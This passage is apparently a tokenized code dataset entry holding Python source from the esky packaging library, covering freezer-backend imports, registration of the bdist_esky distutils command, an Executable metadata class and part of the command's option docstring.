"\\u", "CACHE_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", "\\u", "CACHE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "COMPIL", "ED", "\\u", "BOOT", "STRA", "P", "\\u", "CACHE_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "setup", "tool", "s", " ", "likes", " ", "to", " ", "be", " ", "import", "ed", " ", "bef", "ore", " ", "anyt", "hing", " ", "else", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "mig", "ht", " ", "monkey", "-", "patch", " ", "distutils", ".", " ", " ", "We", " ", "don", "'", "t", " ", "actual", "ly", " ", "use", " ", "it", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "this", " ", "is", " ", "just", " ", "to", " ", "avoid", " ", "error", "s", " ", "with", " ", "cx", "\\u", "Freez", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "setuptools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "es", "ky_", "._", "bdist", "\\u", "es", "ky_", "import_", "f", "\\u", "py2", "exe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "py2", "exe", "\"_", "]_", "=_", "f", "\\u", "py2", "exe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "py2", "exe", "\"_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "es", "ky_", "._", "bdist", "\\u", "es", "ky_", "import_", "f", "\\u", "py2", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "py2", "app", "\"_", "]_", "=_", "f", "\\u", "py2", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "py2", "app", "\"_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "es", "ky_", "._", "bdist", "\\u", "es", "ky_", "import_", "f", "\\u", "bb", "freeze_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "bb", "freez", "e", "\"_", "]_", "=_", "f", "\\u", "bb", "freeze_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "bb", "freez", "e", "\"_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "es", "ky_", "._", "bdist", "\\u", "es", "ky_", "import_", "f", "\\u", "cx", "freeze_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "cx", "freez", "e", "\"_", "]_", "=_", "f", "\\u", "cx", "freeze_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "cx", "\\u", "Freez", "e", "\"_", "]_", "=_", "f", "\\u", "cx", "freeze_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "cx", "\\u", "freez", "e", "\"_", "]_", "=_", "f", "\\u", "cx", "freeze_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "cx", "freez", "e", "\"_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "cx", "\\u", "Freez", "e", "\"_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "FREE", "ZE", "RS_", "[_", "\"", "cx", "\\u", "freez", "e", "\"_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Mon", "key", "-", "patch", " ", "distutils", " ", "to", " ", "include", " ", "our", " ", "command", "s", " ", "by", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "distutils_", "._", "command_", "._", "\\u\\u", "all\\u\\u_", "._", "append_", "(_", "\"", "bdist", "\\u", "es", "ky", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "distutils_", "._", "command_", "._", "\\u\\u", "all\\u\\u_", "._", "append_", "(_", "\"", "bdist", "\\u", "es", "ky", "\\u", "patch", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "modules_", "[_", "\"", "distutils", ".", "command", ".", "bdist", "\\u", "es", "ky", "\"_", "]_", "=_", "sys_", "._", "modules_", "[_", "\"", "es", "ky", ".", "bdist", "\\u", "es", "ky", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "modules_", "[_", "\"", "distutils", ".", "command", ".", "bdist", "\\u", "es", "ky", "\\u", "patch", "\"_", "]_", "=_", "sys_", "._", "modules_", "[_", "\"", "es", "ky", ".", "bdist", "\\u", "es", "ky", "\"_", "]_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Executable", "_", "(_", "unicode_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Class", " ", "to", " ", "hold", " ", "informati", "on", " ", "abo", "ut", " ", "a", " ", "specific", " ", "executable", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "class", " ", "provide", "s", " ", "a", " ", "uniform", " ", "way", " ", "to", " ", "speci", "fy", " ", "extra", " ", "meta", "-", "data", " ", "abo", "ut", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "frozen", " ", "executable", ".", " ", " ", "By", " ", "setti", "ng", " ", "vari", "ous", " ", "keyw", "ord", " ", "argu", "ment", "s", ",", " ", "you", " ", "can", "\\", "10", ";", " ", " ", " ", " ", "speci", "fy", " ", "e", ".", "g", ".", " ", "the", " ", "icon", ",", " ", "and", " ", "whe", "ther", " ", "it", " ", "is", " ", "a", " ", "gui", "-", "only", " ", "script", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Some", " ", "freez", "er", " ", "module", "s", " ", "require", " ", "all", " ", "items", " ", "in", " ", "the", " ", "\"", "scripts", "\"", " ", "argu", "ment", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "be", " ", "string", "s", " ", "nami", "ng", " ", "real", " ", "files", ".", " ", " ", "Thi", "s", " ", "is", " ", "there", "fore", " ", "a", " ", "subclass", " ", "of", " ", "unicode", ",", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "if", " ", "it", " ", "refer", "s", " ", "only", " ", "to", " ", "in", "-", "memory", " ", "code", " ", "then", " ", "its", " ", "string", " ", "value", " ", "will", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "path", " ", "to", " ", "this", " ", "very", " ", "file", ".", " ", " ", "I", " ", "know", " ", "it", "'", "s", " ", "ug", "ly", ",", " ", "but", " ", "it", " ", "works", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Executable", "_", "(_", "unicode_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "script_", ",_", "**_", "kwds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "script_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "unicode_", "._", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "unicode_", "._", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "\\u\\u", "file\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Executable", "_", "(_", "unicode_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "script_", ",_", "name_", "=_", "None_", ",_", "icon_", "=_", "None_", ",_", "gui", "\\u", "only_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "include", "\\u", "in", "\\u", "boots", "trap", "\\u", "env_", "=_", "True_", ",_", "**_", "kwds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unicode_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "script_", ",_", "Executable", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "script_", "=_", "script_", "._", "script_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "script_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "gui", "\\u", "only_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gui", "\\u", "only_", "=_", "script_", "._", "gui", "\\u", "only_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "script_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "Mus", "t", " ", "speci", "fy", " ", "name", " ", "if", " ", "script", " ", "is", " ", "not", " ", "a", " ", "file", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "script_", "=_", "script_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "include", "\\u", "in", "\\u", "boots", "trap", "\\u", "env_", "=_", "include", "\\u", "in", "\\u", "boots", "trap", "\\u", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "icon_", "=_", "icon_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "gui", "\\u", "only_", "=_", "gui", "\\u", "only_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kwds_", "=_", "kwds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Executable", "_", "(_", "unicode_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "name_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nm_", "=_", "self_", "._", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "self_", "._", "script_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "Mus", "t", " ", "speci", "fy", " ", "name", " ", "if", " ", "script", " ", "is", " ", "not", " ", "a", " ", "file", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nm_", "=_", "os_", "._", "path_", "._", "basename_", "(_", "self_", "._", "script_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "nm_", "._", "endswith_", "(_", "\".", "py", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nm_", "=_", "nm_", "[_", ":_", "-_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "nm_", "._", "endswith_", "(_", "\".", "pyw", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nm_", "=_", "nm_", "[_", ":_", "-_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "platform_", "==_", "\"", "win32", "\"_", "and_", "not_", "nm_", "._", "endswith_", "(_", "\".", "exe", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nm_", "+=_", "\".", "exe", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "nm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Executable", "_", "(_", "unicode_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gui", "\\u", "only_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "gui", "\\u", "only_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "self_", "._", "script_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "script_", "._", "endswith_", "(_", "\".", "pyw", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "gui", "\\u", "only_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "bdist", "\\u", "es", "ky_", "(_", "Command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "frozen", " ", "applica", "tion", " ", "in", " ", "'", "es", "ky", "'", " ", "format", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "distutils", " ", "command", " ", "can", " ", "be", " ", "used", " ", "to", " ", "freez", "e", " ", "an", " ", "applica", "tion", " ", "in", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "format", " ", "expected", " ", "by", " ", "es", "ky", ".", " ", " ", "It", " ", "interpret", "s", " ", "the", " ", "follow", "ing", " ", "standard", " ", "\\", "10", ";", " ", " ", " ", " ", "distutils", " ", "options", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "scripts", ":", " ", " ", "list", " ", "of", " ", "scripts", " ", "to", " ", "freez", "e", " ", "as", " ", "executable", "s", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "to", " ", "make", " ", "a", " ", "gui", "-", "only", " ", "script", ",", " ", "name", " ", "it", " ", "'", "script", ".", "pyw", "'", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "data\\u", "files", ":", " ", " ", "copie", "d", " ", "int", "o", " ", "the", " ", "frozen", " ", "app", " ", "director", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "package", "\\u", "data", ":", " ", " ", "copie", "d", " ", "int", "o", " ", "librar", "y", ".", "zip", " ", "along", "side", " ", "the", " ", "module", " ", "code", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "To", " ", "fur", "ther", " ", "customize", " ", "the", " ", "behaviour", " ", "of", " ", "the", " ", "bdist", "\\u", "es", "ky", " ", "command", ",", " ", "you", " ", "can", "\\", "10", ";", " ", " ", " ", " ", "speci", "fy", " ", "the", " ", "follow", "ing", " ", "custom", " ", "options", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "include", "s", ":", " ", " ", "a", " ", "list", " ", "of", " ", "module", "s", " ", "to", " ", "explicit", "ly", " ", "include", " ", "in", " ", "the", " ", "freez", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "excludes", ":", " ", " ", "a", " ", "list", " ", "of", " ", "module", "s", " ", "to", " ", "explicit", "ly", " ", "exclu", "de", " ", "from", " ", "the", " ", "freez", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "freez", "er", "\\u", "module", ":", " ", " ", "name", " ", "of", " ", "freez", "er", " ", "module", " ", "to", " ", "use", ";", " ", "currentl", "y", " ", "py2", "exe", ",", "\\", "10", ";", " ", " ", " ", "py2", "app", ",", " ", " ", "bb", "freez", "e", " ", "and", " ", "cx", "-", "freez", "e", " ", "are", " ", "support", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "freez", "er", "\\u", "options", ":", " ", "dict", " ", "of", " ", "options", " ", "to", " ", "pass", " ", "through", " ", "to", " ", "the", " ", "underl", "ying", "\\", "10", ";", " ", " ", " ", "freez", "er", " ", "module", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "boots", "trap", "\\u", "module", ":", " ", " ", "a", " ", "custom", " ", "module", " ", "to", " ", "use", " ", "for", " ", "es", "ky", " ", "bootstrapp", "ing", ";", "\\", "10", ";", " ", " ", " ", " ", " ", "the", " ", "default", " ", "calls", " ", "es", "ky", ".", "boots", "trap", ".", "boots", "trap", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "boots", "trap", "\\u", "code", ":", " ", " ", "a", " ", "custom", " ", "code", " ", "string", " ", "to", " ", "use", " ", "for", " ", "es", "ky", " ", "bootstrapp", "ing", ";", "\\", "10", ";", " ", " ", " ", "this", " ", "prec", "lud", "es", " ", "the", " ", "use", " ", "of", " ", "the", " ", "boots", "trap", "\\u", "module", " ", "option", ".", "\\", "10", ";", " ", " ", " ", "If", " ", "a", " ", "non", "-", "string", " ", "object", " ", "is", " ", "give", "n", ",", " ", "its", " ", "source", " ", "is", " ", "take", "n", "\\", "10", ";", " ", " ", " ", "usi", "ng", " ", "inspect", ".", "gets", "ource", "()", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "compile", "\\u", "boots", "trap", "\\u", "exe", "s", ":", " ", " ", "whe", "ther", " ", "to", " ", "compile", " ", "the", " ", "bootstrapp", "ing", " ", "code", " ", "to", " ", "a", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "stand", "-", "alo", "ne", " ", "exe", ";", " ", "this", " ", "require", "s", " ", "Py", "Py", " ", "install", "ed", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "and", " ", "the", " ", "boots", "trap", " ", "code", " ", "to", " ", "be", " ", "valid", " ", "RP", "yth", "on", ".", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "Whe", "n", " ", "fal", "se", ",", " ", "the", " ", "boots", "trap", " ", "env", " ", "will", " ", "use", " ", "a", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "trimmed", "-", "down", " ", "copy", " ", "of", " ", "the", " ", "freez", "er", " ", "module", " ", "exe", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "don", "t", "\\u", "run", "\\u", "start", "up", "\\u", "hook", "s", ":", " ", " ", "don", "'", "t", " ", "force", " ", "all", " ", "executable", "s", " ", "to", " ", "call", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "es", "ky", ".", "run", "\\u", "start", "up", "\\u", "hook", "s", "()", " ", "on", " ", "start", "up", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "bundle", "\\u", "msvcrt", ":", " ", " ", "whe", "ther", " ", "to", " ", "bundle", " ", "the", " ", "MS", "VC", "RT", " ", "DLL", "s", ",", " ", "manifest", " ", "files", " ", "etc", "\\", "10", ";", " ", " ", "as", " ", "a", " ", "private", " ", "assem", "bly", ".", " ", " ", "The", " ", "default", " ", "is", " ", "Fal", "se", ";", " ", "only", "\\", "10", ";", " ", " ", "tho", "se", " ", "with", " ", "a", " ", "valid", " ", "license", " ", "to", " ", "redis", "tri", "ute", " ", "these", " ", "files", "\\", "10", ";", " ", " ", "shou", "ld", " ", "enable", " ", "it", ".", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "pre", "\\u", "freez", "e\\u", "callback", ":", " ", " ", "function", " ", "to", " ", "call", " ", "just", " ", "bef", "ore", " ", "startin", "g", " ", "to", " ", "freez", "e", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "applica", "tion", ";", " ", "this", " ", "is", " ", "a", " ", "good", " ", "opportunit", "y", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "customize", " ", "the", " ", "bdist", "\\u", "es", "ky", " ", "instance", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "pre", "\\u", "zip", "\\u", "callback", ":", " ", " ", "function", " ", "to", " ", "call", " ", "just", " ", "bef", "ore", " ", "startin", "g", " ", "to", " ", "zip", " ", "up", "\\", "10", ";", " ", " ", " ", " ", " ", "the", " ", "frozen", " ", "applica", "tion", ";", " ", "this", " ", "is", " ", "a", " ", "good", " ", "opportunit", "y", "\\", "10", ";", " ", " ", " ", " ", " ", "to", " ", "e", ".", "g", ".", " ", "sign", " ", "the", " ", "result", "ing", " ", "executable", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\"", "create", " ", "a", " ", "frozen", " ", "app", " ", "in", " ", "'", "es", "ky", "'", " ", "format", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "options_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "dist", "-", "dir", "='_", ",_", "'", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "director", "y", " ", "to", " ", "put", " ", "final", " ", "bui", "lt", " ", "distribu", "tion", "s", " ", "in", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "freez", "er", "-", "module", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "module", " ", "to", " ", "use", " ", "for", " ", "freez", "ing", " ", "the", " ", "applica", "tion", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "freez", "er", "-", "options", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "options", " ", "to", " ", "pass", " ", "to", " ", "the", " ", "underl", "ying", " ", "freez", "er", " ", "module", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "boots", "trap", "-", "module", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "module", " ", "to", " ", "use", " ", "for", " ", "bootstrapp", "ing", " ", "the", " ", "applica", "tion", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "boots", "trap", "-", "code", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "code", " ", "to", " ", "use", " ", "for", " ", "bootstrapp", "ing", " ", "the", " ", "applica", "tion", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "compile", "-", "boots", "trap", "-", "exe", "s", "='_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "whe", "ther", " ", "to", " ", "compile", " ", "the", " ", 